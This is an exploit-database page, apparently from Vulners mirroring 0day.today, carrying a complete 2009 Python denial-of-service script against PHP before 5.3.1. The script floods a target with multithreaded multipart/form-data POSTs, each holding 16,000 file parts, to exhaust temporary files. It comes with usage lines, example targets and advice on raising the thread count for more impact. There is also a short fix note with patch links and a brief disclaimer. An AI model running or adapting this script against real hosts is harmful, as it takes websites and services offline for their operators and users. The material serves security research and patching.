Lucene search
K

PHP "multipart/form-data" Denial of Service Exploit (Python)

🗓️ 27 Nov 2009 00:00:00Reported by ErenType 
zdt
 zdt
🔗 0day.today👁 25 Views

PHP "multipart/form-data" Denial of Service Exploit (Python) demonstrates how to cause denial of service on PHP hosts by exhausting temporary files, affecting all PHP versions before 5.3.1 and unpatched 5.2.11 on Windows, Linux, and Mac. Update to 5.3.1 or apply the provided patches for version 5.2.11. The Python script creates multiple threads to send huge data rapidly causing the DoS

Code
============================================================
PHP "multipart/form-data" Denial of Service Exploit (Python)
============================================================

#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Author:
#     Eren Turkay <eren .-. pardus.org.tr>, 2009/11/20
#     http://www.pardus.org.tr/eng/
#
# Credits:
#     Bogdan Calin from Acunetix
#
# Description:
#     Exploit to cause denial of service on any host that runs PHP via temporary
#     file exhaustion. It doesn't matter whether the script handles uploads or not.
#     If host runs PHP, it is enough to cause DoS using any PHP script it serves.
#
#     This is the implementation of disclosed vulnerability that was found
#     by Bogdan Calin. See: http://www.acunetix.com/blog/websecuritynews/php-multipartform-data-denial-of-service/
#
# Affected versions:
#     All PHP versions before PHP 5.3.1 and unpatched 5.2.11
#
# Platforms:
#     Windows, Linux, Mac
#
# Fix:
#     Update to 5.3.1. If you use 5.2.11 and can't update, apply the patch [0]:
#
#     [0] http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/rfc1867.c?r1=272374&r2=289990&view=patch (introduce max_file_upload)
#     [0] http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/main.c?r1=289214&r2=289990&view=patch (NOTE: upstream changed 100 to 20, do it so)
#
# Usage:
#     python php-multipart-dos.py <site> <port> </index.php> <num of child: optional>
#
#     After opening childs, you may wait long for threads to finish because sending such a huge data is painful.
#     However, it's not important to finish the request. Openining lots of connections and sending huge data fastly will enough to cause DoS.
#     So the more threads you spawn, the more impact you will make. In normal cases, spawning 150 childs would be enough. But the number depends on you.
#     Trial and error ;))
#
# Example:
#     python php-multipart-dos.py www.example.com 8080 /index.php
#
#     By defalt, the program will create 100 threads, each thread will send 10 requests.
#     You can specify child number to create, you may want to increase or decrease for the impact, etc..
#
#     python php-multipart-dos.py www.example.com 80 /~user/index.php 50
#
# Notes:
#     This script is for educational purposes only. Use it at your OWN risk!
 
import socket
import random
import time
import threading
import sys
 
class Connection:
    def __init__(self, host, port):
        self._host = host
        self._port = port
        self.sock = None
 
    def connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect((self._host, self._port))
 
    def send(self, msg):
        if not self.sock:
            raise "NotConnected"
        else:
            self.sock.send(msg)
 
    def close(self):
        self.sock.close()
 
class Exploit (threading.Thread):
    def __init__(self, host, port, target):
        self._host = host
        self._port = port
        self._target = target
        threading.Thread.__init__(self)
 
    def getBoundary(self):
        """ Return random boundary data """
        random.seed()
        rnd = random.randrange(100000, 100000000)
        data = "---------------------------%s" % rnd
        return data
 
    def createPayload(self):
        data = """POST %(target)s HTTP/1.1\r
Host: %(host)s\r
Uset-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)\r
Connection: keep-alive\r
Content-Type: multipart/form-data; boundary=%(boundary)s\r
Content-Length: %(length)s\r\n\r\n"""
 
        boundary = self.getBoundary()
 
        # Create a number of upload data, 16.000, yeah! :)
        for i in range(16000):
            data += "--%s\r\n" % boundary
            data += """Content-Disposition: form-data; name="file_%s"; filename="file_%s.txt"\r
Content-Type: text/plain\r\n
Lorem ipsum dolor sit amet, consectetur adipiscing elit. In non blandit augue.\n\r\n""" % (i, i)
 
        data += "--%s--\r\n" % boundary
 
        return data % {"host": self._host, "target": self._target, "boundary": boundary, "length": str(len(data))}
 
    def run(self):
        payload = self.createPayload()
        for i in range(0, 10):
            c = Connection(self._host, self._port)
            c.connect()
            c.send(payload)
            c.close()
            sys.exit(0)
        del payload
        sys.exit(0)
 
def usage():
    usage_data = """
 __^__                                                  __^__
( ___ )------------------------------------------------( ___ )
 | / |                                                  | \ |
 | / | Eren Turkay <eren .-. pardus.org.tr>, 2009/11/20 | \ |
 | / | http://www.pardus.org.tr/eng/                    | \ |
 |___|                                                  |___|
(_____)------------------------------------------------(_____)
 
PHP denial of service exploit via temporary file exhaustion
Usage: python php-multipart-dos.py <host> <port> </adress/index.php> <child number: optional>
 
See source code for more information
"""
 
    print usage_data
 
if __name__ == '__main__':
    if not len(sys.argv) >= 4:
        usage()
    else:
        # is child number passed?
        if len(sys.argv) >= 5:
            child = int(sys.argv[4])
        else:
            child = 100
        print "[+] Attack started..."
        for i in range(0, child):
            try:
                exp = Exploit(str(sys.argv[1]), int(sys.argv[2]), str(sys.argv[3]))
                exp.start()
                print "[+] Opening %s childs... [%s]\r" % (child, i+1),
                sys.stdout.flush()
                i += 1
            except KeyboardInterrupt:
                print "\n[-] Keyboard Interrupt. Exiting..."
                sys.exit(1)
 
        # print it so that previous "Opening childs..." is still there
        print ""
        while True:
            try:
                activeChilds = threading.activeCount()
                print "[+] Waiting for childs to finish. %d remaining...\r" % activeChilds,
                sys.stdout.flush()
                # we have one main process
                if activeChilds == 1:
                    print "\nOK!"
                    sys.exit(0)
            except KeyboardInterrupt:
                print "\n[-] Exiting without waiting!"
                sys.exit(1)


#  0day.today [2018-01-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Nov 2009 00:00Current
7.1High risk
Vulners AI Score7.1
25